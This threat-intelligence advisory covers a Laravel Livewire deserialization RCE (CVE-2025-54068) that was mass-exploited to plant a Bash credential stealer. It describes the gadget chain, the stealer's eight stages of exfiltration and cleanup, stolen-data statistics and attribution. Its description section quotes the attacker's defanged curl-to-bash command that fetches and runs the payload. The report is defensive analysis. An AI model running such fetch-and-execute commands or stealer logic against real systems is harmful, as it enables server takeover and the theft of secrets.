# CVE-2025-54068 Exploited in Large-Scale Laravel Livewire Credential Theft Campaign

> An unauthenticated, pre-auth PHP deserialization RCE in Laravel Livewire v3 (CVE-2025-54068, CVSS 9.8) was mass-exploited to deploy a Bash-based credential stealer ("shoc.enz"), compromising 6,167 applications worldwide and harvesting production database credentials, Stripe/AWS/SMTP/JWT secrets, and 26M+ email addresses. Recovered attacker FTP infrastructure and Telegram/GoFile exfiltration channels point to a likely Indonesian-origin operator.

- **Published:** 2026-07-16T00:00:00Z
- **Last reviewed:** 2026-07-16T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1422
- **ID:** TL-2026-1422
- **Severity:** CRITICAL (CVSS 9.8)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 20 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2025-54068

## Description

CVE-2025-54068 is a critical, unauthenticated remote-code-execution vulnerability affecting Laravel Livewire versions 3.0.0-beta.1 through 3.6.3. The flaw lies in Livewire's component-hydration mechanism: when a component's state is restored from a browser-submitted request, the framework's `hydratePropertyUpdate`/`hydrateForUpdate` logic (pre-patch) fails to preserve the original `$raw` synthesizer metadata across recursive hydration, allowing an attacker to redefine nested "synthesizer" objects inside the `updates` payload without triggering Livewire's checksum/APP_KEY integrity validation. Because weakly-typed component properties (such as those on Filament's login form) accept arbitrary casts, an attacker can smuggle a `isSyntheticTuple`-shaped array (`is_array($payload) && count($payload)===2 && isset($payload[1]['s'])`) that Livewire will deserialize into arbitrary PHP classes already present on the server (a PHP "POP" gadget chain built with PHPGGC, e.g. Laravel/RCE4). Public research (Synacktiv) demonstrated a two-stage exploitation path: first, abusing GuzzleHttp\Psr7\FnStream and League\Flysystem's ShardedPrefixPublicUrlGenerator to prove `__toString`/`array_map` gadget execution (phpinfo() PoC); second, chaining Laravel\SerializableClosure\Serializers\Signed (weakly-typed constructor invoking `call_user_func_array`), the Illuminate\Bus\Queueable trait's public `$chained` array, and Illuminate\Broadcasting\BroadcastEvent/PendingBroadcast to reach `dispatchNextJobInChain()`, which calls `unserialize(array_shift($this->chained))` on attacker-controlled data — yielding full unauthenticated remote command execution with no user interaction. Tooling such as laravel-crypto-killer (exploit mode) and Livepyre (version fingerprinting via JS cache-buster hash) automated exploitation with or without knowledge of the target's APP_KEY.

In the wild, Imperva Cloud WAF first detected exploitation attempts on May 24, 2026, sending PHPGGC-crafted deserialization payloads that, upon success, executed: `curl -skfsSL hxxps://xantibot[.]pw/database-sell/shoc.enz | tr -d '\r' | bash >/dev/null 2>&1 &`. The delivered payload, shoc.enz, is a 5,269-byte Bash credential-stealing script (SHA-256 548c3672fd3201dab56f714fdd5812bb024980815b3a2b6299f0126bdf16fb3e) that executes in eight stages: (1) environment setup — create a randomized /tmp staging directory; (2) process check — verify no other instance (shoc.sh) is already running to avoid duplicate exfiltration; (3) file discovery — recursively scan the filesystem for `.env` configuration files; (4) credential extraction — parse DB_HOST, DB_DATABASE, DB_USERNAME, DB_PASSWORD, and APP_KEY (and related secrets such as Stripe, AWS, SMTP, JWT, and Google OAuth keys found alongside them); (5) data collection — copy matched files under randomized filenames; (6) compression — package via zip/tar.gz; (7) exfiltration — upload the archive across three parallel channels (a hardcoded FTP server, the Telegram Bot API, and the GoFile.io cloud-storage API) for redundancy; (8) cleanup — delete the staging directory and script artifacts to reduce forensic footprint.

Wiz and Imperva's recovery of the attacker's FTP server (47.129.100.149:21) revealed 1,851+ compressed database dumps (organized into 7 date-based directories, e.g. `FULL_DUMP_[REDACTED_IP]_2026-04-29_0418.sql.gz`) and 18+ stolen email lists totaling 26+ million addresses, alongside 14,566 valid (non-default) database passwords, 5,784 production apps' DB credentials, 188 live Stripe secret keys (sk_live_ prefix), 381 AWS IAM access keys (AKIA-prefixed), 2,929 JWT signing secrets, 2,409 Google OAuth client secrets (GOCSPX- prefixed), 2,232 Filament admin panel passwords, and 7,176 SMTP credentials. Victims spanned online gambling/betting (400+ platforms, predominantly Brazilian and Southeast Asian operators), e-commerce, healthcare, education, logistics, financial services, and confirmed government (.gov) domains, running well-known open-source Laravel applications including Invoice Ninja, Akaunting, Attendize, Lychee, and TastyIgniter. Scanning and compromise activity spanned dozens of TLDs (.com, .ru, .site, .online, .br, .tr, .id, .ke, and others) over a months-long operation predating public disclosure.

Attribution indicators recovered from the malware and infrastructure point to a likely Indonesian-origin actor: Indonesian-language code comments in shoc.enz, a hardcoded Asia/Jakarta timezone reference, a Telegram handle (@ashtarotz) used for one exfiltration channel, and an email address (azrilsyahputra1337@gmail[.]com) tied to the actor that has appeared in at least three historical BreachForums breach datasets (November 2022, August 2025, March 2026). Livewire maintainers patched the vulnerability in v3.6.4 (fix commit ef04be759da41b14d2d129e670533180a44987dc), and the flaw was added to the CISA Known Exploited Vulnerabilities catalog with a March 20, 2026 add date and April 3, 2026 remediation due date, reflecting confirmed active exploitation. No workaround exists short of upgrading; defenders unable to patch immediately should restrict/monitor outbound traffic to FTP, Telegram API, and GoFile endpoints from application servers and rotate all credentials present in any exposed `.env` file.

## MITRE ATT&CK

- T1190 Exploit Public-Facing Application
- T1059.004 Unix Shell
- T1190 Exploit Public-Facing Application
- T1505 Server Software Component
- T1036 Masquerading
- T1070.004 File Deletion
- T1552.001 Credentials In Files
- T1083 File and Directory Discovery
- T1082 System Information Discovery
- T1560.001 Archive via Utility
- T1005 Data from Local System
- T1105 Ingress Tool Transfer
- T1102 Web Service
- T1071.001 Web Protocols
- T1041 Exfiltration Over C2 Channel
- T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol
- T1567.002 Exfiltration to Cloud Storage
- T1587.001 Malware
- T1583.006 Web Services
- T1657 Financial Theft

## Sources

- [CVE-2025-54068 Exploited in Large-Scale Laravel Livewire Credential Theft Campaign](https://threats.wiz.io/all-incidents/cve-2025-54068-exploited-in-large-scale-laravel-livewire-credential-theft-campaign)
- [CVE-2025-54068 Laravel Livewire Credential Theft Campaign: 6,000+ Applications Compromised](https://www.imperva.com/blog/cve-2025-54068-laravel-livewire-credential-theft-campaign-6000-applications-compromised/)
- [CVE-2025-54068 Laravel Livewire Credential Theft Campaign: 6,000+ Applications Compromised](https://securityboulevard.com/2026/06/cve-2025-54068-laravel-livewire-credential-theft-campaign-6000-applications-compromised/)
- [Laravel Livewire Applications Compromised to Steal Credentials Exploiting RCE Vulnerability](https://cybersecuritynews.com/laravel-livewire-app-exploiting-rce-flaw/)
- [Critical Laravel Livewire RCE Flaw Exploited to Steal Credentials From 6,000+ Apps](https://cyberpress.org/critical-laravel-livewire-rce-flaw-exploited/)
- [CVE-2025-54068 Detail - NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-54068)
- [Livewire: remote command execution through unmarshaling](https://www.synacktiv.com/en/publications/livewire-remote-command-execution-through-unmarshaling)
- [Livewire Security Vulnerability](https://laravel-news.com/livewire-security-vulnerability)
- [Laravel Livewire: CVE-2025-54068](https://www.rapid7.com/db/vulnerabilities/laravel-livewire-cve-2025-54068/)
- [GHSA-29cq-5w36-x7w3: Livewire RCE Vulnerability](https://github.com/livewire/livewire/security/advisories/GHSA-29cq-5w36-x7w3)
- [Livewire v3.6.4 fix commit](https://github.com/livewire/livewire/commit/ef04be759da41b14d2d129e670533180a44987dc)
- [Livewire v3.6.4 release notes](https://github.com/livewire/livewire/releases/tag/v3.6.4)
- [Critical Flaw in Livewire Exposes Laravel Apps to Stealthy RCE, PoC Releases](https://securityonline.info/critical-flaw-in-livewire-exposes-laravel-apps-to-stealthy-rce-poc-releases/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1422